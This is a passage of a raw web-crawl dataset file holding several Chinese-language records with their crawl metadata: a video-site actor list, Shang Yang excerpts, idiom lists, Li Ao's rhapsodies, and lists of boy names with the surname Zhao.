袁文傑 戴祖儀 陳凱琳 馮盈盈 譚凱琪 鄧佩儀 周柏豪 菊梓喬 連詩雅 丁子朗 何超蓮 薛凱琪 王灝兒 洪永城 蔡思貝 楊秀惠 林師傑 譚嘉儀 林穎彤 田蕊妮 車婉婉 卓韻芝 杜如風 谷祖琳 張曦雯 陳庭欣 麥玲玲 黎諾懿 李佳芯\n牟韻潔 吳若希 沈韋汝 林穎彤\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E6%9E%97%E7%A9%8E%E5%BD%A4------------.html","date":"2020-10-20T17:28:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107874026.22\/warc\/CC-MAIN-20201020162922-20201020192922-00080.warc.gz","language":"lzh","language_score":0.5542131066,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5542131066322327, \"cmn_Hani_score\": 0.3056698441505432, \"nan_Hani_score\": 0.10724899172782898, \"yue_Hani_score\": 0.03079278953373432}","num_words":273,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.596,"perplexity_score":500.0,"cluster_detection":1} +{"text":"商君子 商鞅\n群书治要卷三十六\n六 法\n先王当时而立法。度务而制事。法宜其时则治。事适其务故有功。然则法有时而治。事有当而功。今时移而法不变。务易而事以古。是法与时诡。而事与务易也。故法立而乱益。务为而事废。故圣人之治国也。不法古。不循今。当时而立功。在难而能免。今民能变俗矣。而法不易。国形更势矣。而务以古。夫法者民之治也。务者事之用也。国失法则危。事失用则不成。故法不当时而务不适用而不危者。未之有也。\n修 权\n国之所以治者三。一曰法。二曰信。三曰权。法者。君臣之所共操也。信者。君臣之所共立也。权者。君之所独制也。人主失守则危。君臣释法任私则乱。故立法明分而不以私害法则治。权制独断于君则威。民信其赏则事功。不信其刑。则奸无端矣。唯明主爱权重信。而不以私害法也。故上多惠言而不克其赏。则下不用。数加严命而不致其刑。则民傲罪。凡赏者文也。刑者武也。文武者。法之约也。故明主慎法。不蔽之谓明。不欺之谓察。故赏厚而信。刑重而必。不失疏远。不私亲近。故臣不蔽主而下不欺上。\n世之为治者。多释法而任私议。此国之所以乱也。先王悬权衡。立尺寸。而至今法之。其分明也。夫释权衡而断轻重。废尺寸而意长短。虽察。商贾不用。为其不必也。故法者国之权衡也。夫背法度而任私议。皆不知类者也。故立法明分。中程者赏。毁公者诛。赏诛之法。不失其议。故民不争。不以爵禄便近亲。则劳臣不怨。不以刑罚隐疏远。则下亲上。故官贤选能。不以其劳。则忠臣不进。行赏赋禄。不称其功。则战士不用。\n凡人臣之事君也。多以主所好事君。君好法则臣以法事君。君好言则臣以言事君。君好法则端直之士在前。君好言则毁誉之臣在侧。公私之分明。则小人不嫉贤。而不肖者不妒功。故三王以义亲。五伯以法正诸侯。皆非私天下之利也。乱世之君臣。区区然皆欲擅一国之利。而搜一官之重(本书搜作当)以便其私。国之所以危也。夫废法度而好私议。则奸臣鬻权以约禄。秩(秩旧作杖。下同。改之)官之吏。隐下而渔民。谚曰。蠹众而木折。隙大而墙坏。故大臣争于私而不顾其民。则下离上。下离上者。国之隙也。秩官之吏。隐下以渔百姓。此民之蠹也。故国有隙蠹而不亡者。天下鲜矣。故明主任法去私。而国无隙蠹矣。\n定 分\n法令者。民之命也。为治之本也。所以备民也。智者不得过。愚者不得不及。名分不定。而欲天下之治。是犹欲无饥而去食(去食下旧无欲字。补之)。欲无寒而去衣也。其不几亦明矣。一兔走而百人追之。非以兔为可分以为百。由名之未定也。夫卖兔者满市。盗不敢取。由名分之定也。故名分未定。尧。舜。禹。汤且皆加务而逐之。名分已定。贪盗不取。今法令不明。其名不定。天下之人得议之。此所谓名分不定也。夫名分不定。尧。舜犹将皆折而奸之。而况众人乎。故圣人必为法令置官也。置吏也。为天下师。所以定分(分上有名字)也。名分定则大诈真(真作贞)信。巨盗愿悫。而各自治也。故夫名分定。势治之道也。名分不定。势乱之道也。故势治者不可乱也。势乱者不可治也。夫势乱而欲治之。愈乱矣。势治而治之。则治矣。故圣人治治。不治乱也。\n圣人为民法。必使之明白易知。愚智遍能知之。万民无陷于险危也。故圣人立天下而天下无刑死者。非可刑杀而不刑杀也。万民皆知所以避祸就福而皆自治也。明主因治而治之。故天下大治也。","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/lingdaoli.com\/docs\/%E5%A2%9E%E8%A1%A5%E5%95%86%E5%90%9B%E5%AD%90%E6%B2%BB%E8%A6%81\/","date":"2021-04-11T10:21:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038061820.19\/warc\/CC-MAIN-20210411085610-20210411115610-00077.warc.gz","language":"lzh","language_score":0.4043481648,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4043481647968292, \"cmn_Hani_score\": 0.3139137029647827, \"nan_Hani_score\": 0.04969719797372818, \"jpn_Jpan_score\": 0.043776076287031174, \"zxx_Latn_score\": 0.03094681166112423, \"wuu_Hani_score\": 0.023082807660102844, \"und_Tang_score\": 0.020098118111491203, \"und_Sgnw_score\": 0.010833757929503918}","num_words":15,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.404,"perplexity_score":500.0,"cluster_detection":1} +{"text":"带有醉字的成语有哪些 :酩酊大醉、 今朝有酒今朝醉、 自我陶醉、 醉生梦死、 众醉独醒、 如痴如醉、 烂醉如泥、 心醉神迷、 醉怒醒喜、 醉舞狂歌、 醉翁之意不在酒、 倚酒三分醉、 神醉心往、 我醉欲眠、 一醉方休、 醉玉颓山、 醉墨淋漓、\n劳醉 扶醉 酩酊烂醉 佯醉 竹醉 张公吃酒李公醉 全身麻醉 白醉 剌塌醉 熟醉 同醉 浅醉 骨醉 伪醉 神怡心醉 极醉 天醉 半醉 目酣神醉 酩酊大醉 如痴似醉\n饮醇自醉 酩酊大醉 今日有酒今日醉 如梦如醉 金迷纸醉 今朝有酒今朝醉 自我陶醉 如痴如醉 如痴似醉 目酣神醉\n醉生梦死 中心如醉 如痴如醉 金迷纸醉 酒醉饭饱 烂醉如泥 眠花醉柳 酩酊大醉 酩酊大醉 如醉如狂 如醉如梦 神醉心往 生死醉梦 醉山颓倒 众醉独醒 自我陶醉 醉吐相茵 醉舞狂歌\n醉厌厌、 醉落拓、 醉沉沉、 醉乡侯、 醉中天、 醉花阴、 醉淘淘、 醉如泥、 醉中真、 醉琼枝、 醉妆词、 醉花间、 剌塌醉、 醉翁操、 醉吐茵 捕醉仙、 醉思凡、 醉马草、 醉眼缬、 醉朦腾、 醉木犀、 醉翁床、 醒醉草、 醉杨妃、 醉太白、 醉思仙、 醉腾腾\n醉江月 醉中天 醉太平 醉公子 醉乡春 醉红妆 醉花间 醉花番 醉花阴 醉花春 醉思仙 醉妆词 醉木犀 醉春台 醉春风 醉东风 醉吟商 醉桃源 醉桃园 醉扶归 醉落拓 醉落魄 醉梅花 醉翁操 醉蓬莱 醉垂鞭 醉瑶瑟\n醉翁之意不在酒 酒不醉人人自醉 醉生梦死 自我陶醉 饮醇自醉 如醉如痴 酩酊大醉 烂醉如泥 金迷纸醉 霸陵醉尉 恶醉强酒 酣歌醉舞 今朝有酒今朝醉 酒醉饭饱 迷金醉纸 眠花醉柳 目酣神醉 心醉神迷 张公吃酒李公醉 众醉独醒 醉酒饱德 醉山颓倒 醉生梦死 醉吐相茵 醉舞狂歌 呵呵希望你喜欢\n酒醉饭饱 比喻饮食得到了满足. 烂醉如泥 醉得瘫成一团,扶都扶不住.形容大醉的样子. 酩酊大醉 酩酊:沉醉的样子.形容醉得很厉害. 如痴如醉 形容神态失常,失去自制. 如醉方醒 方:刚才.象酒醉才醒一般.比喻刚从沉迷中醒悟过来. 如醉如痴 形容神态失常,失去自制. 我醉欲眠 我醉了,想睡觉.指为人真诚直率. 恶醉强酒 强:硬要.怕醉却又猛喝酒.比喻明知故犯. 心醉魂迷 形容佩服爱幕到极点.\n西江月遣兴作者:辛弃疾 (宋代)醉里且贪欢笑,要愁那得工夫.近来始觉古人书.信着全无是处.昨夜松边醉倒,问松我醉何如.只疑松动要来扶.以手推松曰去.\n醉骨,醉魂,醉魄,醉眸,醉衾,醉墨,迷醉,陶醉,沉醉,醉呓.","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/qzgx.net\/read\/0-b4-f8-d3-d0-d7-ed-d7-d6-b5-c4-b4-ca-d3-ef.html","date":"2021-04-19T21:07:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038917413.71\/warc\/CC-MAIN-20210419204416-20210419234416-00489.warc.gz","language":"lzh","language_score":0.489662677,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48966267704963684, \"cmn_Hani_score\": 0.3994356393814087, \"jpn_Jpan_score\": 0.06489040702581406, \"wuu_Hani_score\": 0.03750801086425781}","num_words":168,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.49,"perplexity_score":500.0,"cluster_detection":1} +{"text":"李翱七言绝句诗(春节诗词大全七言绝句)\n李翱(772-841),字习之,陇西成纪(今秦安县北)人,是西凉王李暠的后代。自幼\"勤于儒学,博雅好古\",写文章注重气质。\n○感知己赋(并序)\n贞元九年,翱始就州府之贡举人事,其九月,执文章一通,谒於右补阙安定梁君。是时梁君之誉塞天下,属词求进之士,奉文章造梁君门下者,盖无虚日。梁居知人之过也,亦既相见,遂於翱有相知之道焉。谓翱得古人之遗风,期翱之名不朽於无穷,许翱以拂拭吹嘘。翱初谓面相进也,亦未幸甚。十一月,梁君遘疾而殁。翱渐游於朋友公卿间,往往皆曰:\"吾久籍子姓名於补阙梁君也。\"翱乃知非面相进也。当时意谓先进者遇人特达,皆合有是心,亦未谓知己之难得也。梁君殁於兹五年,翱学圣人经籍教训文句之旨,而为文将数万言,愈昔年见於梁君之文,弗啻数倍,虽不敢同德於古人,然亦常无怍於中心。每岁试於礼部,连以文章罢黜,声光晦昧於时俗,人皆谓之固宜。然後知先进者遇人特达,亦不皆有是心也,方知知己之难得也。夫见善而不能知,虽善何为;知而不能誉,则如勿知;誉而不能深,则如勿誉;深而不能久,则如弗深;久而不能终,则如勿久。翱虽不肖,幸辱於梁君所知,君为之言於人,岂非誉欤?谓其有古人之风,岂非深欤?誉而逮夫终身,岂非久欤?不幸梁君短命遽殁,是以翱未能有成也,其谁能相继梁君之志而成之欤?已焉哉!天之遽丧梁君也,是使翱之命久??厄穷也。遂赋感知己以自伤。其言怨而不乱,盖《小雅》、骚人之馀风也。其辞曰:\n戚戚之愁苦兮,思释去之无端。彼众人之容易兮,乃志士之所难。伊自古皆嗟兮,又何怨乎兹之世。独厄穷而不达兮,悼知音之永逝。纷予生之多故兮,愧特於世之谁知。抚圣人教化之旨兮,洵合古而乖时。诚自负其中心兮,嗟与俗而相违。趋一名之五稔兮,尚无成而淹此路歧。昔圣贤之遑遑兮,极屈辱之驱驰。择中庸之难蹈兮,虽困顿而终不改其所为。苟天地之无私兮,曷不鉴照於神?。心劲直於松柏兮,沦霜雪而不衰。知我者忽然逝兮,岂吾道之已而。\n○幽怀赋(并序)\n朋友有相叹者,赋幽怀以答之,其辞曰:\n众嚣嚣而杂处兮,咸嗟老而羞卑。视予心之不然兮,虑行道之犹非。傥中怀之自得兮,终老死其何悲?昔孔门之多贤兮,惟回也为庶几。超群情以独去兮,指圣域而高追。固箪食与瓢饮兮,宁服轻而驾肥?望若人其如何兮,惭吾德之纤微。躬不田而饱食兮,妻不织而丰衣。援圣贤而比度兮,何侥幸之能希。念所怀之未展兮,非悼已而陈私。自禄山之始兵兮,岁周甲而未夷。何神尧之郡县兮,乃家传而自持。税生人而育卒兮,列高城以相维。何兹世之可久兮,宜永念而遐思。有三苗之逆命兮,舞干羽以来之。惟刑德之既修兮,无远迩而咸归。当高祖之初起兮,提一旅之羸师。能顺天而用众兮,竟扫寇而戡隋。况天子之神明兮,有烈祖之前规。划弊政而还本兮,如反掌之易为。苟庙堂之治得兮,何下邑之能违。哀予生之贱远兮,包深怀而告谁。嗟此诚之不达兮,惜此道而无遗。独中夜以潜叹兮,匪君忧之所宜。\n○释怀赋(并序)\n读《党锢传》,哀直道之多尢不容,作《释怀赋》,其辞曰:\n怀夫人之郁郁兮,历悔吝而不离。吾心直以无差兮,惟上天其能知。邪何德而必好兮,忠何尢而被疑。彼陈辞之多人兮,胡不去众而讯之。进荩言而不信兮,退远去而不获。弗验实而考省兮,固予道之所厄。昔师商之规圣兮,德既均而行革。惟肝肠之有殊兮,守不同其何责。愿披怀而竭闻兮,道既塞而已行。路非险而不通兮,人忌我而异情。王章直而狱死兮,李固忠而陷刑。自古世之所悲兮,矧末俗之衰诚。哀贞心之洁白兮,疾苗莠之纷生。令农夫以手锄兮,反剪去乎嘉茎。岂不指秽而语之兮,佯瞪瞢而不肯听。叹释去而不忍兮,终留滞亦何成。当晨旦而步立兮,仰白日而自明。处一世而若流兮,何久永而伤情。乐此言而内抑兮,壮大观於庄生。拔馨香之ぇ兰兮,树蒿蔚以罗列。斥通道而使无兮,恋棘径之中绝。置《春秋》而询心兮,羌与此其奚别。昔誓词而约交兮,期共死而皆居。嗟所守之既异兮,乃汗漫而遗初。心皓白而不容兮,非市直而望利。忠不顾而立忘兮,交不同而行弃。悲夫!不徇已而必仇兮,谅非水火其何畏。独吾行之不然兮,直愧心而惧义。嘉山松之苍苍兮,岁苦寒而亦悴。吾固乐其贞刚兮,夫何尢乎小异。欲静默而绝声兮,岂不悼厥初之所志。抑此怀而不可兮,终永夜以嘘唏。","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/www.fengxuelin.com\/tougao\/13502.html","date":"2022-01-23T16:27:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304287.0\/warc\/CC-MAIN-20220123141754-20220123171754-00629.warc.gz","language":"lzh","language_score":0.4791103303,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.47911033034324646, \"cmn_Hani_score\": 0.22964076697826385, \"zxx_Latn_score\": 0.06430914998054504, \"nan_Hani_score\": 0.04115317389369011, \"und_Tang_score\": 0.019387137144804, \"jpn_Jpan_score\": 0.015276895835995674, \"wuu_Hani_score\": 0.01331681851297617, \"und_Xsux_score\": 0.012886187992990017}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.298,"perplexity_score":500.0,"cluster_detection":1} +{"text":"日期:2022-05-19作者:网友整理人气:\n你好,很高兴为你解答 吞咽的成语有(难以下咽,狼吞虎咽) 满意采纳哦!\n狼吞虎咽\n食案方丈 食必方丈 食辨劳薪 食不充肠 食不充饥 食不充口 食不二味 食不甘味 食不果腹 食不糊口 食不餬口 食不遑味 食不兼肉 食不兼味 食不累味 食不念饱 食不求饱 食不求甘 食不暇饱 食不下咽 食不厌精,脍不厌细 食不知味 食不终味 食不重肉 食不重味 食淡衣粗 食箪浆壶 食而不化 食而不知其味 食方于前 食甘寝安 食甘寝宁 食古不化 食古如鲠 食骨在喉 食藿悬鹑 食饥息劳 食马留肝 食毛践土 食前方丈 食亲财黑 食日万钱 食肉寝皮 食肉之禄 食少事烦 食少事繁 食生不化 食宿相兼\n食不知味 风餐露宿 东食西宿 食不裹腹 因噎废食 废寝忘食 酒足饭包 暴饮暴食 尸位素餐 饥不择食 吃喝嫖赌 吃喝拉撒 xxx工作辛苦,每日废寝忘食.\n风餐露宿、 秀色可餐、 愤忘餐发、 餐云卧石、 以锥餐壶、 发愤忘餐、 餐风吸露、 饥餐渴饮、 餐腥啄腐、 挥沐吐餐、 尸位素餐、 一噎止餐、 努力加餐、 雨卧风餐、 餐松啖柏、 餐霞饮液、 餐霞吸露、 饱餐一顿、 餐松饮涧、 饮风餐露、 餐风啮雪、 啮雪餐毡、 忘餐失寝、 致命一餐、 餐霞饮瀣\n来源:985作文网","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.98596.cn\/zuowen-34220.html","date":"2022-05-24T15:41:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662573053.67\/warc\/CC-MAIN-20220524142617-20220524172617-00521.warc.gz","language":"lzh","language_score":0.740473628,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7404736280441284, \"cmn_Hani_score\": 0.19073472917079926, \"jpn_Jpan_score\": 0.05630796402692795}","num_words":92,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.804,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓趙的男孩名字\n趙 姓,從走肖聲,是現如今中國姓氏排名第七位的大姓,人口非常多,約占各省漢人人口數量的百分之二點三。趙姓是嬴姓十四氏之一,趙氏之先出自于顓頊帝,周穆王時造父為御,攻徐偃王,大破之,以功封趙城,子孫后代因氏焉。\n姓趙的男孩名字大全\n趙涵暢 趙行 趙德曜 趙浩宕 趙茂勛 趙彭彭 趙遠 趙鴻暉 趙致遠 趙成濟 趙偉茂 趙星河 趙玉澤 趙敏博 趙音 趙正業 趙子平 趙雅昶 趙涵亮 趙浩宕 趙涵亮 趙宏才 趙皓軒 趙嘉福 趙書君 趙振翱 趙國 趙高誼 趙萊 趙昂然 趙金 趙禎 趙正青 趙能 趙宏朗 趙睿廣 趙博裕 趙宏碩 趙嘉澍 趙鴻疇 趙稷 趙竹 趙建修 趙弘厚 趙昆杰 趙雙 趙華榮 趙曦之 趙鴻信 趙良奧 趙宸 趙進 趙旭 趙宏爽 趙和悅 趙君浩 趙飛鳴 趙爵 趙運凡 趙雨信 趙展 趙天縱 趙湃 趙博達 趙精 趙錦 趙樂詠 趙凱唱 趙景煥 趙正奇 趙鹍 趙懿 趙樂悅 趙涆 趙運晟 趙俊豪 趙志新 趙立誠 趙志行 趙嘉悅 趙為 趙興昌 趙文昌 趙津 趙浩曠 趙德壽 趙嘉玉 趙智鑫 趙苑 趙博明 趙昊乾 趙和洽 趙昂 趙德佑 趙鴻熙 趙騰騫 趙昆緯 趙航 趙景龍 趙敬 趙宇 趙耘 趙成 趙元魁 趙智志 趙奇思 趙君博 趙鴻禎 趙浩壤 趙豐 趙郎 趙昌淼 趙建白 趙辰龍 趙大 趙辰韋 趙博濤 趙俊明 趙燁熠 趙宏峻 趙建柏 趙令鋒 趙和順 趙修雅 趙識 趙曜文 趙秋 趙鴻疇 趙英達 趙和平 趙康健 趙文景 趙毅然 趙元龍 趙運 趙景中 趙原 趙堅壁 趙飛揚 趙翰墨 趙安和 趙磊 趙瀾 趙俊語 趙雪 趙星淵 趙嘉致 趙康盛 趙飛章 趙晨濡 趙雨星 趙辰宇 趙令楓 趙陽曦 趙罡 趙景鑠 趙禧 趙睿慈 趙偉祺 趙立 趙子軒 趙運萊 趙光熙 趙陽成 趙永康 趙昌 趙斌斌 趙俊健 趙安宜 趙高揚 趙景彰 趙學 趙和昶 趙勇男 趙曜曦 趙元 趙家 趙子辰 趙修偉 趙燁燁 趙瀚彭 趙鴻禧 趙偉志 趙正真 趙艾 趙華皓 趙理 趙書 趙昶 趙天睿 趙元白 趙康勝 趙嘉樹 趙震 趙宏富 趙涵潤 趙正 趙昆琦 趙生 趙昂雄 趙鴻暢 趙正豪 趙本 趙偉曄 趙明俊 趙俊艾 趙浩歌 趙鴻彩 趙剛捷 趙康平 趙浩邈 趙圣 趙池 趙晏 趙弘方 趙才藝 趙欣然 趙夏 趙陽波 趙叡 趙澄 趙勇捷 趙德潤 趙學義 趙越彬 趙德昌 趙才 趙縱 趙嘉穎 趙弘光 趙星馳 趙信厚 趙華茂 趙建華 趙睿誠 趙令雪 趙哲瀚 趙俊民 趙宏深 趙霽 趙運凱 趙高潔 趙睿聰 趙承教 趙喆 趙向 趙禮 趙新榮 趙修賢 趙志學 趙偉毅 趙彭勃 趙昊蒼 趙勤 趙和 趙康泰 趙珠 趙思聰 趙浩涆 趙蘊 趙庸 趙運珧 趙釗 趙永豐 趙瀚昂 趙建弼 趙舉 趙炳君 趙宏偉 趙紹祺 趙思淼 趙軒昂 趙英耀 趙中震 趙高澹 趙華暉 趙睿 趙嘉澍 趙睿才 趙峻 趙哲圣 趙新翰 趙光明 趙潤 趙榮軒 趙俊良 趙彭 趙建德 趙鴻寶 趙浩波 趙高歌 趙永逸 趙銘晨 趙飛捷 趙凱安 趙明珠 趙曜坤 趙耀 趙振國 趙浩然 趙高超\n趙姓男孩名字100分\n趙氏是晉國六卿之一,秋春后期,趙氏協同魏氏、韓氏在晉陽對決中擊敗智氏,使趙氏足以刮分晉國,位居戰國七雄之中。\n趙姓男孩名字大全100分\n趙弘雅 趙心思 趙飛羽 趙敏學 趙瑞淵 趙天空 趙嘉志 趙昆頡 趙逸仙 趙元凱 趙興運 趙泰初 趙嘉賜 趙駿琛 趙成蔭 趙新榮 趙元良 趙德澤 趙思聰 趙承平 趙祺福 趙明志 趙鵬翼 趙德運 趙樂心 趙自怡 趙浩瀚 趙永豐 趙承運 趙嘉木 趙飛昂 趙鵬煊 趙嘉樹 趙彭薄 趙浩蕩 趙銳意 趙泰然 趙永言 趙天宇 趙嘉茂 趙修齊 趙高麗 趙經亙 趙宏碩 趙宏偉 趙俊民 趙宏盛 趙博容 趙銘晨 趙景彰 趙燁煜 趙永春 趙晗昱 趙俊彥 趙陽榮 趙飛文 趙昆誼 趙宏大 趙星澤 趙景龍 趙翰藻 趙曜文 趙永長 趙和安 趙馳翰 趙英發 趙自明 趙雪風 趙永福 趙意致 趙德馨 趙昆明 趙建安 趙長旭 趙浩歌 趙建明 趙經藝 趙嘉言 趙光華 趙英才 趙嘉慕 趙樂生 趙向晨 趙燁磊 趙嘉納 趙俊力 趙彭澤 趙駿哲 趙飛星 趙文昂 趙德潤 趙俊弼 趙建章 趙鴻雪 趙樂安 趙永元 趙海昌 趙智暉 趙雅逸 趙高格 趙元明 趙英縱 趙明知 趙振海 趙高誼 趙斌蔚 趙飛宇 趙浩漫 趙雨石 趙安邦 趙軒昂 趙彥昌 趙鵬飛 趙宏遠 趙溫綸 趙開濟 趙耘豪 趙力言 趙炳君 趙鴻煊 趙君博 趙光赫 趙俊材 趙陽文 趙和豫 趙昊偉 趙凱安 趙正祥 趙金鑫 趙自強 趙宏義 趙永昌 趙駿逸 趙飛虎 趙文曜 趙豐羽 趙英毅 趙星緯 趙明煦 趙弘厚 趙星闌 趙文斌 趙昌燎 趙樂山 趙博雅 趙浩渺 趙浩博 趙嘉勝 趙和澤 趙涵意 趙翰林 趙辰皓 趙波濤 趙同化 趙波鴻 趙昊蒼 趙振翱 趙樂成 趙雅珺 趙德水 趙涵衍 趙浩言 趙陽秋 趙明珠 趙和風 趙玉軒 趙正浩 趙運乾 趙卓君 趙令楓 趙宏暢 趙范明 趙志業 趙銳志 趙宏浚 趙弘闊 趙鴻哲 趙德曜 趙正卿 趙胤騫 趙修雅 趙修偉 趙耘志 趙彭勃 趙安國 趙飛揚 趙昆皓 趙明哲 趙雅惠 趙哲圣 趙俊良 趙浩涆 趙良弼 趙宏富 趙睿德 趙英飆 趙玉韻 趙鵬舉 趙景曜 趙英卓 趙瀚玥 趙陽飆 趙鴻信 趙理群 趙鴻煊 趙信然 趙國興 趙蘊藉 趙德佑 趙勇男 趙昊磊 趙高韻 趙文賦 趙鴻彩 趙高岑 趙元白 趙鴻暢 趙偉澤 趙茂才 趙俊喆 趙立軒 趙澤語 趙弘光 趙樂游 趙濱海 趙飛馳 趙承基 趙涵育 趙承安 趙博實 趙冠宇 趙振宇 趙承望 趙華輝 趙涵容 趙茂實 趙敏叡 趙浦澤 趙志強 趙溫書 趙季萌 趙元武 趙泰河 趙風華 趙樂邦 趙煜祺 趙智勇 趙建義 趙運珧 趙宏爽 趙承嗣 趙運鵬 趙俊郎 趙正文 趙承顏 趙鴻暢 趙元緯 趙俊捷 趙宏勝 趙和泰 趙樂欣 趙騫北 趙長岳 趙運凱 趙良策 趙良材 趙浩思 趙文虹 趙俊悟 趙正雅 趙和通 趙雅暢 趙辰宇 趙樂賢 趙景行 趙振強 趙星然 趙樂池 趙晉鵬 趙德輝 趙博瀚 趙和煦 趙昂然 趙銳立 趙星鵬 趙良朋 趙修遠 趙俊語 趙昆宇 趙高潔 趙令鋒 趙銳達 趙明遠 趙旭彬 趙正真 趙華清 趙長星 趙堅白 趙鴻波 趙鴻禧 趙浩慨\n趙姓男孩名字大全屬豬\n趙姓為角,其獸蒼龍,修真,屬木。于五常為仁,于五事為貌。趙氏最開始的圖騰為伯勞。\n趙姓屬豬男孩名字大全\n趙旭鵬 趙彭薄 趙力強 趙安歌 趙波光 趙俊民 趙意智 趙浩波 趙飛鵬 趙令颯 趙陽榮 趙德庸 趙鴻禎 趙茂彥 趙浩博 趙凱康 趙耘志 趙起運 趙弘揚 趙朋興 趙燁華 趙瑞淵 趙高澹 趙高義 趙景澄 趙翰學 趙文星 趙元甲 趙元明 趙宏才 趙永昌 趙宏茂 趙樂山 趙鴻振 趙飛躍 趙光明 趙英悟 趙曾琪 趙興學 趙星河 趙馳逸 趙震博 趙圣杰 趙明哲 趙文林 趙智暉 趙紹輝 趙高原 趙奇勝 趙辰良 趙才哲 趙高翰 趙學義 趙文瑞 趙越澤 趙令璟 趙涵衍 趙飛光 趙經業 趙正陽 趙智淵 趙星暉 趙堅成 趙浩言 趙和裕 趙祺祥 趙天韻 趙巍奕 趙偉澤 趙樂水 趙力學 趙樂康 趙星海 趙駿年 趙澄邈 趙剛毅 趙海超 趙飛星 趙興生 趙致遠 趙銳藻 趙騫魁 趙曜瑞 趙振宇 趙文康 趙昂杰 趙正卿 趙欣怡 趙璞玉 趙志尚 趙和洽 趙嘉實 趙欣嘉 趙博涉 趙飛虎 趙思淼 趙明志 趙顏駿 趙樂志 趙陽焱 趙雪峰 趙燁赫 趙思源 趙景輝 趙康順 趙元青 趙令梓 趙飛宇 趙和安 趙馳軒 趙文賦 趙長旭 趙俊爽 趙子平 趙鴻暉 趙陽暉 趙永寧 趙元凱 趙康寧 趙浩大 趙經武 趙永春 趙宏曠 趙涵煦 趙才捷 趙興懷 趙鵬舉 趙高達 趙正文 趙嘉悅 趙令鋒 趙樂意 趙翰飛 趙良奧 趙溫茂 趙星鵬 趙俊楚 趙俊力 趙思博 趙和悅 趙天瑞 趙明杰 趙泰清 趙弘偉 趙力勤 趙弘博 趙瀚漠 趙興文 趙良工 趙心遠 趙英才 趙宏偉 趙興言 趙華采 趙晗昱 趙子軒 趙立輝 趙涵潤 趙高邈 趙明達 趙令秋 趙運浩 趙志業 趙高峯 趙鴻文 趙銘晨 趙景山 趙振平 趙同方 趙信鷗 趙新霽 趙廣君 趙文華 趙同光 趙安邦 趙華容 趙蘊藉 趙俊楠 趙浦澤 趙正志 趙銳意 趙鴻志 趙冠宇 趙浩慨 趙涵亮 趙英喆 趙文斌 趙嘉玉 趙天成 趙遠騫 趙燁爍 趙信鴻 趙俠騫 趙雨星 趙彭彭 趙鴻哲 趙駿琛 趙光譽 趙修謹 趙德業 趙英韶 趙和愜 趙飛雨 趙志國 趙光亮 趙宇達 趙振強 趙振榮 趙飛章 趙宏浚 趙浩大 趙飛捷 趙騫信 趙安和 趙嘉慶 趙華茂 趙俊智 趙建安 趙辰銘 趙新曦 趙陽伯 趙嘉福 趙鵬云 趙博厚 趙良才 趙和歌 趙玉澤 趙令羽 趙逸春 趙俊暉 趙嘉禧 趙博易 趙英彥 趙陽舒 趙樂和 趙昂然 趙星爵 趙高昂 趙景天 趙運珧 趙浦和 趙敏智 趙雅懿 趙和璧 趙錦程 趙辰陽 趙修賢 趙建元 趙樂音 趙高超 趙正平 趙毅然 趙子默 趙英叡 趙鴻信 趙弘義 趙鴻遠 趙運杰 趙景行 趙敏才 趙博藝 趙鴻暢 趙運駿 趙天澤 趙鴻禎 趙鴻達 趙鴻振 趙博瀚 趙瀚玥 趙文翰 趙昊蒼 趙浩曠 趙嘉祥 趙浩歌 趙嘉樹 趙中震 趙德潤 趙星漢 趙鵬鯤 趙維運 趙鴻風 趙建同 趙興國 趙奇偉 趙華彩 趙智陽 趙樂圣 趙靖琪 趙鴻暉 趙涵暢 趙弘文 趙浩氣 趙光輝 趙鴻博 趙宏逸 趙昊昊 趙永年 趙英資 趙燁霖 趙燁煜 趙浩言","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/www.msselection.com\/nanhai\/34.html","date":"2022-09-30T15:44:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335491.4\/warc\/CC-MAIN-20220930145518-20220930175518-00796.warc.gz","language":"lzh","language_score":0.9219813943,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.9219813942909241, \"nan_Hani_score\": 